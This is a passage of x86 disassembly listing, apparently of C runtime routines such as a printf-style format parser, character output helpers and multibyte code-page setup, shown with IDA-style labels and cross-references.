[ebp+arg_4], eax jmp short loc_41FEFF ; --------------------------------------------------------------------------- loc_41FECC: ; CODE XREF: sub_41FE2A+90j cmp ebx, 0FFFFFFFFh jz short loc_41FEE7 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DD040[eax*4] lea eax, [eax+ecx*8] jmp short loc_41FEEC ; --------------------------------------------------------------------------- loc_41FEE7: ; CODE XREF: sub_41FE2A+A5j mov eax, offset dword_43D4D0 loc_41FEEC: ; CODE XREF: sub_41FE2A+BBj test byte ptr [eax+4], 20h jz short loc_41FEFF push 2 push 0 push ebx call sub_422F09 add esp, 0Ch loc_41FEFF: ; CODE XREF: sub_41FE2A+A0j ; sub_41FE2A+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_41FF1D ; --------------------------------------------------------------------------- loc_41FF09: ; CODE XREF: sub_41FE2A+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_4230FB add esp, 0Ch mov [ebp+arg_4], eax loc_41FF1D: ; CODE XREF: sub_41FE2A+DDj cmp [ebp+arg_4], edi pop edi jz short loc_41FF29 or dword ptr [esi+0Ch], 20h jmp short loc_41FF38 ; --------------------------------------------------------------------------- loc_41FF29: ; CODE XREF: sub_41FE2A+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_41FF3B ; --------------------------------------------------------------------------- loc_41FF33: ; CODE XREF: sub_41FE2A+10j ; sub_41FE2A+18j ... or al, 20h mov [esi+0Ch], eax loc_41FF38: ; CODE XREF: sub_41FE2A+FDj or eax, 0FFFFFFFFh loc_41FF3B: ; CODE XREF: sub_41FE2A+107j pop esi pop ebx pop ebp retn sub_41FE2A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FF3F proc near ; CODE XREF: sub_41C266+29p ; sub_41C360+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_420658 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_41FF73 ; --------------------------------------------------------------------------- loc_41FF6B: ; CODE XREF: sub_41FF3F+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_41FF73: ; CODE XREF: sub_41FF3F+2Aj cmp [ebp+var_14], edx jl loc_420658 cmp bl, 20h jl short loc_41FF94 cmp bl, 78h jg short loc_41FF94 movsx eax, bl mov al, [eax+42771Ch] and eax, 0Fh jmp short loc_41FF96 ; --------------------------------------------------------------------------- loc_41FF94: ; CODE XREF: sub_41FF3F+40j ; sub_41FF3F+45j xor eax, eax loc_41FF96: ; CODE XREF: sub_41FF3F+53j movsx eax, byte_42773C[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_420647 ; default jmp off_420660[eax*4] ; switch jump loc_41FFB4: ; DATA XREF: ___:off_420660o or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041FFAD case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_41FFCF: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o movsx eax, bl ; jumptable 0041FFAD case 2 sub eax, 20h jz short loc_420012 sub eax, 3 jz short loc_420009 sub eax, 8 jz short loc_420000 dec eax dec eax jz short loc_41FFF7 sub eax, 3 jnz loc_420647 ; default or [ebp+var_4], 8 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_41FFF7: ; CODE XREF: sub_41FF3F+A4j or [ebp+var_4], 4 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420000: ; CODE XREF: sub_41FF3F+A0j or [ebp+var_4], 1 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420009: ; CODE XREF: sub_41FF3F+9Bj or byte ptr [ebp+var_4], 80h jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420012: ; CODE XREF: sub_41FF3F+96j or [ebp+var_4], 2 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_42001B: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o cmp bl, 2Ah ; jumptable 0041FFAD case 3 jnz short loc_420043 lea eax, [ebp+arg_8] push eax call sub_42071E test eax, eax pop ecx mov [ebp+var_20], eax jge loc_420647 ; default or [ebp+var_4], 4 neg eax loc_42003B: ; CODE XREF: sub_41FF3F+111j mov [ebp+var_20], eax jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420043: ; CODE XREF: sub_41FF3F+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] loc_42004C: ; DATA XREF: ___:00432860o ; ___:0043286Co lea eax, [ecx+eax*2-30h] jmp short loc_42003B ; --------------------------------------------------------------------------- loc_420052: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o mov [ebp+var_10], edx ; jumptable 0041FFAD case 4 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_42005A: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o cmp bl, 2Ah ; jumptable 0041FFAD case 5 jnz short loc_42007D lea eax, [ebp+arg_8] push eax call sub_42071E test eax, eax pop ecx mov [ebp+var_10], eax jge loc_420647 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_42007D: ; CODE XREF: sub_41FF3F+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_42008F: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o cmp bl, 49h ; jumptable 0041FFAD case 6 jz short loc_4200C2 cmp bl, 68h jz short loc_4200B9 cmp bl, 6Ch jz short loc_4200B0 cmp bl, 77h jnz loc_420647 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_4200B0: ; CODE XREF: sub_41FF3F+15Dj or [ebp+var_4], 10h jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_4200B9: ; CODE XREF: sub_41FF3F+158j or [ebp+var_4], 20h jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_4200C2: ; CODE XREF: sub_41FF3F+153j cmp byte ptr [edi], 36h jnz short loc_4200DB cmp byte ptr [edi+1], 34h jnz short loc_4200DB inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_4200DB: ; CODE XREF: sub_41FF3F+186j ; sub_41FF3F+18Cj mov [ebp+var_30], edx loc_4200DE: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o mov ecx, off_43CE78 ; jumptable 0041FFAD case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_42010A lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_420680 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_42010A: ; CODE XREF: sub_41FF3F+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_420680 add esp, 0Ch jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420122: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o movsx eax, bl ; jumptable 0041FFAD case 7 cmp eax, 67h jg loc_42034A cmp eax, 65h jge loc_4201CD cmp eax, 58h jg loc_42022B jz loc_4203BE sub eax, 43h jz loc_4201EE dec eax dec eax jz short loc_4201C3 dec eax dec eax jz short loc_4201C3 sub eax, 0Ch jnz loc_420549 test word ptr [ebp+var_4], 830h jnz short loc_42016C or byte ptr [ebp+var_4+1], 8 loc_42016C: ; CODE XREF: sub_41FF3F+227j ; sub_41FF3F+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_420179 mov esi, 7FFFFFFFh loc_420179: ; CODE XREF: sub_41FF3F+233j lea eax, [ebp+arg_8] push eax call sub_42071E test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_420392 test ecx, ecx jnz short loc_4201A1 mov ecx, off_43D094 mov [ebp+var_8], ecx loc_4201A1: ; CODE XREF: sub_41FF3F+257j mov [ebp+var_24], 1 mov eax, ecx loc_4201AA: ; CODE XREF: sub_41FF3F+282j mov edx, esi dec esi test edx, edx jz loc_420389 cmp word ptr [eax], 0 jz loc_420389 inc eax inc eax jmp short loc_4201AA ; --------------------------------------------------------------------------- loc_4201C3: ; CODE XREF: sub_41FF3F+212j ; sub_41FF3F+216j mov [ebp+var_34], 1 add bl, 20h loc_4201CD: ; CODE XREF: sub_41FF3F+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_4202B1 mov [ebp+var_10], 6 jmp loc_4202BF ; --------------------------------------------------------------------------- loc_4201EE: ; CODE XREF: sub_41FF3F+20Aj test word ptr [ebp+var_4], 830h jnz short loc_4201FA or byte ptr [ebp+var_4+1], 8 loc_4201FA: ; CODE XREF: sub_41FF3F+2B5j ; sub_41FF3F+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_420241 call sub_42073B push eax lea eax, [ebp+var_248] push eax call sub_424663 add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_420254 mov [ebp+var_28], 1 jmp short loc_420254 ; --------------------------------------------------------------------------- loc_42022B: ; CODE XREF: sub_41FF3F+1FBj sub eax, 5Ah jz short loc_420262 sub eax, 9 jz short loc_4201FA dec eax jz loc_420424 jmp loc_420549 ; --------------------------------------------------------------------------- loc_420241: ; CODE XREF: sub_41FF3F+2C5j call sub_42071E pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_420254: ; CODE XREF: sub_41FF3F+2E1j ; sub_41FF3F+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_420549 ; --------------------------------------------------------------------------- loc_420262: ; CODE XREF: sub_41FF3F+2EFj lea eax, [ebp+arg_8] push eax call sub_42071E test eax, eax pop ecx jz short loc_4202A3 mov ecx, [eax+4] test ecx, ecx jz short loc_4202A3 test byte ptr [ebp+var_4+1], 8 jz short loc_420294 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_420549 ; --------------------------------------------------------------------------- loc_420294: ; CODE XREF: sub_41FF3F+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_420546 ; --------------------------------------------------------------------------- loc_4202A3: ; CODE XREF: sub_41FF3F+32Fj ; sub_41FF3F+336j mov eax, off_43D090 mov [ebp+var_8], eax push eax jmp loc_42033F ; --------------------------------------------------------------------------- loc_4202B1: ; CODE XREF: sub_41FF3F+29Dj jnz short loc_4202BF cmp bl, 67h jnz short loc_4202BF mov [ebp+var_10], 1 loc_4202BF: ; CODE XREF: sub_41FF3F+2AAj ; sub_41FF3F:loc_4202B1j ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_43D420 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_420311 cmp [ebp+var_10], 0 jnz short loc_420311 lea eax, [ebp+var_248] push eax call off_43D42C pop ecx loc_420311: ; CODE XREF: sub_41FF3F+3BCj ; sub_41FF3F+3C2j cmp bl, 67h jnz short loc_420328 test esi, esi jnz short loc_420328 lea eax, [ebp+var_248] push eax call off_43D424 pop ecx loc_420328: ; CODE XREF: sub_41FF3F+3D5j ; sub_41FF3F+3D9j cmp [ebp+var_248], 2Dh jnz short loc_42033E or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_42033E: ; CODE XREF: sub_41FF3F+3F0j push edi loc_42033F: ; CODE XREF: sub_41FF3F+36Dj call sub_41B9C0 pop ecx jmp loc_420546 ; --------------------------------------------------------------------------- loc_42034A: ; CODE XREF: sub_41FF3F+1E9j sub eax, 69h jz loc_420424 sub eax, 5 jz loc_4203FA dec eax jz loc_4203E7 dec eax jz short loc_4203B7 sub eax, 3 jz loc_42016C dec eax dec eax jz loc_420428 sub eax, 3 jnz loc_420549 mov [ebp+var_2C], 27h jmp short loc_4203C5 ; --------------------------------------------------------------------------- loc_420389: ; CODE XREF: sub_41FF3F+270j ; sub_41FF3F+27Aj sub eax, ecx sar eax, 1 jmp loc_420546 ; --------------------------------------------------------------------------- loc_420392: ; CODE XREF: sub_41FF3F+24Fj test ecx, ecx jnz short loc_42039F mov ecx, off_43D090 mov [ebp+var_8], ecx loc_42039F: ; CODE XREF: sub_41FF3F+455j mov eax, ecx loc_4203A1: ; CODE XREF: sub_41FF3F+46Fj mov edx, esi dec esi test edx, edx jz short loc_4203B0 cmp byte ptr [eax], 0 jz short loc_4203B0 inc eax jmp short loc_4203A1 ; --------------------------------------------------------------------------- loc_4203B0: ; CODE XREF: sub_41FF3F+467j ; sub_41FF3F+46Cj sub eax, ecx jmp loc_420546 ; --------------------------------------------------------------------------- loc_4203B7: ; CODE XREF: sub_41FF3F+425j mov [ebp+var_10], 8 loc_4203BE: ; CODE XREF: sub_41FF3F+201j mov [ebp+var_2C], 7 loc_4203C5: ; CODE XREF: sub_41FF3F+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_42042F mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_42042F ; --------------------------------------------------------------------------- loc_4203E7: ; CODE XREF: sub_41FF3F+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_42042F or byte ptr [ebp+var_4+1], 2 jmp short loc_42042F ; --------------------------------------------------------------------------- loc_4203FA: ; CODE XREF: sub_41FF3F+417j lea eax, [ebp+arg_8] push eax call sub_42071E test byte ptr [ebp+var_4], 20h pop ecx jz short loc_420413 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_420418 ; --------------------------------------------------------------------------- loc_420413: ; CODE XREF: sub_41FF3F+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_420418: ; CODE XREF: sub_41FF3F+4D2j mov [ebp+var_28], 1 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420424: ; CODE XREF: sub_41FF3F+2F7j ; sub_41FF3F+40Ej or [ebp+var_4], 40h loc_420428: ; CODE XREF: sub_41FF3F+432j mov [ebp+var_C], 0Ah loc_42042F: ; CODE XREF: sub_41FF3F+491j ; sub_41FF3F+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_420441 lea eax, [ebp+arg_8] push eax call sub_42072B pop ecx jmp short loc_420482 ; --------------------------------------------------------------------------- loc_420441: ; CODE XREF: sub_41FF3F+4F4j test byte ptr [ebp+var_4], 20h jz short loc_420468 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_42045D call sub_42071E pop ecx movsx eax, ax loc_42045A: ; CODE XREF: sub_41FF3F+527j ; sub_41FF3F+539j cdq jmp short loc_420482 ; --------------------------------------------------------------------------- loc_42045D: ; CODE XREF: sub_41FF3F+510j call sub_42071E pop ecx movzx eax, ax jmp short loc_42045A ; --------------------------------------------------------------------------- loc_420468: ; CODE XREF: sub_41FF3F+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_42047A call sub_42071E pop ecx jmp short loc_42045A ; --------------------------------------------------------------------------- loc_42047A: ; CODE XREF: sub_41FF3F+531j call sub_42071E pop ecx xor edx, edx loc_420482: ; CODE XREF: sub_41FF3F+500j ; sub_41FF3F+51Cj test byte ptr [ebp+var_4], 40h jz short loc_4204A3 test edx, edx jg short loc_4204A3 jl short loc_420492 test eax, eax jnb short loc_4204A3 loc_420492: ; CODE XREF: sub_41FF3F+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_4204A7 ; --------------------------------------------------------------------------- loc_4204A3: ; CODE XREF: sub_41FF3F+547j ; sub_41FF3F+54Bj ... mov esi, eax mov edi, edx loc_4204A7: ; CODE XREF: sub_41FF3F+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_4204B0 and edi, 0 loc_4204B0: ; CODE XREF: sub_41FF3F+56Cj cmp [ebp+var_10], 0 jge short loc_4204BF mov [ebp+var_10], 1 jmp short loc_4204C3 ; --------------------------------------------------------------------------- loc_4204BF: ; CODE XREF: sub_41FF3F+575j and [ebp+var_4], 0FFFFFFF7h loc_4204C3: ; CODE XREF: sub_41FF3F+57Ej mov eax, esi or eax, edi jnz short loc_4204CD and [ebp+var_1C], 0 loc_4204CD: ; CODE XREF: sub_41FF3F+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_4204D3: ; CODE XREF: sub_41FF3F+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_4204E3 mov eax, esi or eax, edi jz short loc_42051E loc_4204E3: ; CODE XREF: sub_41FF3F+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_41DD20 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_41DCB0 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_420514 add ebx, [ebp+var_2C] loc_420514: ; CODE XREF: sub_41FF3F+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_4204D3 ; --------------------------------------------------------------------------- loc_42051E: ; CODE XREF: sub_41FF3F+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_420549 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_42053C test eax, eax jnz short loc_420549 loc_42053C: ; CODE XREF: sub_41FF3F+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_420546: ; CODE XREF: sub_41FF3F+35Fj ; sub_41FF3F+406j ... mov [ebp+var_C], eax loc_420549: ; CODE XREF: sub_41FF3F+21Bj ; sub_41FF3F+2FDj ... cmp [ebp+var_28], 0 jnz loc_420647 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_420581 test bh, 1 jz short loc_420566 mov [ebp+var_16], 2Dh jmp short loc_42057A ; --------------------------------------------------------------------------- loc_420566: ; CODE XREF: sub_41FF3F+61Fj test bl, 1 jz short loc_420571 mov [ebp+var_16], 2Bh jmp short loc_42057A ; --------------------------------------------------------------------------- loc_420571: ; CODE XREF: sub_41FF3F+62Aj test bl, 2 jz short loc_420581 mov [ebp+var_16], 20h loc_42057A: ; CODE XREF: sub_41FF3F+625j ; sub_41FF3F+630j mov [ebp+var_1C], 1 loc_420581: ; CODE XREF: sub_41FF3F+61Aj ; sub_41FF3F+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_4205A1 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_4206B5 add esp, 10h loc_4205A1: ; CODE XREF: sub_41FF3F+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_4206E6 add esp, 10h test bl, 8 jz short loc_4205D3 test bl, 4 jnz short loc_4205D3 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_4206B5 add esp, 10h loc_4205D3: ; CODE XREF: sub_41FF3F+67Bj ; sub_41FF3F+680j cmp [ebp+var_24], 0 jz short loc_42061A cmp [ebp+var_C], 0 jle short loc_42061A mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_4205E8: ; CODE XREF: sub_41FF3F+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_424663 pop ecx test eax, eax pop ecx jle short loc_42062F lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_4206E6 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_4205E8 jmp short loc_42062F ; --------------------------------------------------------------------------- loc_42061A: ; CODE XREF: sub_41FF3F+698j ; sub_41FF3F+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_4206E6 add esp, 10h loc_42062F: ; CODE XREF: sub_41FF3F+6BCj ; sub_41FF3F+6D9j test byte ptr [ebp+var_4], 4 jz short loc_420647 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_4206B5 add esp, 10h loc_420647: ; CODE XREF: sub_41FF3F+68j ; sub_41FF3F+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_41FF6B loc_420658: ; CODE XREF: sub_41FF3F+1Fj ; sub_41FF3F+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_41FF3F endp ; --------------------------------------------------------------------------- off_420660 dd offset loc_4200DE ; DATA XREF: sub_41FF3F+6Er dd offset loc_41FFB4 ; jump table for switch statement dd offset loc_41FFCF dd offset loc_42001B dd offset loc_420052 dd offset loc_42005A dd offset loc_42008F dd offset loc_420122 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420680 proc near ; CODE XREF: sub_41FF3F+1BDp ; sub_41FF3F+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_420699 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_4206A4 ; --------------------------------------------------------------------------- loc_420699: ; CODE XREF: sub_420680+9j push ecx push [ebp+arg_0] call sub_41FE2A pop ecx pop ecx loc_4206A4: ; CODE XREF: sub_420680+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_4206B1 or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_4206B1: ; CODE XREF: sub_420680+2Aj inc dword ptr [eax] pop ebp retn sub_420680 endp ; =============== S U B R O U T I N E ======================================= sub_4206B5 proc near ; CODE XREF: sub_41FF3F+65Ap ; sub_41FF3F+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_4206E3 mov esi, [esp+8+arg_C] loc_4206C6: ; CODE XREF: sub_4206B5+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_420680 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_4206E3 mov eax, edi dec edi test eax, eax jg short loc_4206C6 loc_4206E3: ; CODE XREF: sub_4206B5+Bj ; sub_4206B5+25j pop edi pop esi retn sub_4206B5 endp ; =============== S U B R O U T I N E ======================================= sub_4206E6 proc near ; CODE XREF: sub_41FF3F+670p ; sub_41FF3F+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_42071A mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_4206FC: ; CODE XREF: sub_4206E6+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_420680 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_42071A mov eax, ebx dec ebx test eax, eax jg short loc_4206FC loc_42071A: ; CODE XREF: sub_4206E6+Cj ; sub_4206E6+2Bj pop edi pop esi pop ebx retn sub_4206E6 endp ; =============== S U B R O U T I N E ======================================= sub_42071E proc near ; CODE XREF: sub_41FF3F+E5p ; sub_41FF3F+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_42071E endp ; =============== S U B R O U T I N E ======================================= sub_42072B proc near ; CODE XREF: sub_41FF3F+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_42072B endp ; =============== S U B R O U T I N E ======================================= sub_42073B proc near ; CODE XREF: sub_41FF3F+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_42073B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420749 proc near ; CODE XREF: sub_420B0D+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_4208E2 mov esi, eax pop ecx cmp esi, dword_4DD144 mov [ebp+arg_0], esi jz loc_4208D6 xor ebx, ebx cmp esi, ebx jz loc_4208CC xor edx, edx mov eax, offset dword_43D0A0 loc_42077D: ; CODE XREF: sub_420749+41j cmp [eax], esi jz short loc_4207F3 add eax, 30h inc edx cmp eax, offset dword_43D190 jl short loc_42077D lea eax, [ebp+var_18] push eax push esi call near ptr 267087Ch nop cmp eax, 1 jnz loc_4208C4 push 40h xor eax, eax pop ecx mov edi, offset byte_4DD260 cmp [ebp+var_18], 1 mov dword_4DD144, esi rep stosd stosb mov dword_4DD364, ebx jbe loc_4208B2 cmp [ebp+var_12], 0 jz loc_420888 lea ecx, [ebp+var_11] loc_4207D0: ; CODE XREF: sub_420749+139j mov dl, [ecx] test dl, dl jz loc_420888 movzx eax, byte ptr [ecx-1] movzx edx, dl loc_4207E1: ; CODE XREF: sub_420749+A8j cmp eax, edx ja loc_42087C or byte_4DD261[eax], 4 inc eax jmp short loc_4207E1 ; --------------------------------------------------------------------------- loc_4207F3: ; CODE XREF: sub_420749+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4DD260 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_43D0B0[esi] loc_42080F: ; CODE XREF: sub_420749+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_420842 loc_420816: ; CODE XREF: sub_420749+F7j mov dl, [ecx+1] test dl, dl jz short loc_420842 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_42083B mov edx, [ebp+var_4] mov dl, byte_43D098[edx] loc_420830: ; CODE XREF: sub_420749+F0j or byte_4DD261[eax], dl inc eax cmp eax, edi jbe short loc_420830 loc_42083B: ; CODE XREF: sub_420749+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_420816 loc_420842: ; CODE XREF: sub_420749+CBj ; sub_420749+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_42080F mov eax, [ebp+arg_0] mov dword_4DD15C, 1 push eax mov dword_4DD144, eax call sub_42092C lea esi, dword_43D0A4[esi] mov edi, offset dword_4DD150 movsd movsd pop ecx mov dword_4DD364, eax movsd jmp short loc_4208D1 ; --------------------------------------------------------------------------- loc_42087C: ; CODE XREF: sub_420749+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_4207D0 loc_420888: ; CODE XREF: sub_420749+7Ej ; sub_420749+8Bj push 1 pop eax loc_42088B: ; CODE XREF: sub_420749+14Fj or byte_4DD261[eax], 8 inc eax cmp eax, 0FFh jb short loc_42088B push esi call sub_42092C pop ecx mov dword_4DD364, eax mov dword_4DD15C, 1 jmp short loc_4208B8 ; --------------------------------------------------------------------------- loc_4208B2: ; CODE XREF: sub_420749+74j mov dword_4DD15C, ebx loc_4208B8: ; CODE XREF: sub_420749+167j xor eax, eax mov edi, offset dword_4DD150 stosd stosd stosd jmp short loc_4208D1 ; --------------------------------------------------------------------------- loc_4208C4: ; CODE XREF: sub_420749+51j cmp dword_4DBE4C, ebx jz short loc_4208DA loc_4208CC: ; CODE XREF: sub_420749+27j call sub_42095F loc_4208D1: ; CODE XREF: sub_420749+131j ; sub_420749+179j call sub_420988 loc_4208D6: ; CODE XREF: sub_420749+1Dj xor eax, eax jmp short loc_4208DD ; --------------------------------------------------------------------------- loc_4208DA: ; CODE XREF: sub_420749+181j or eax, 0FFFFFFFFh 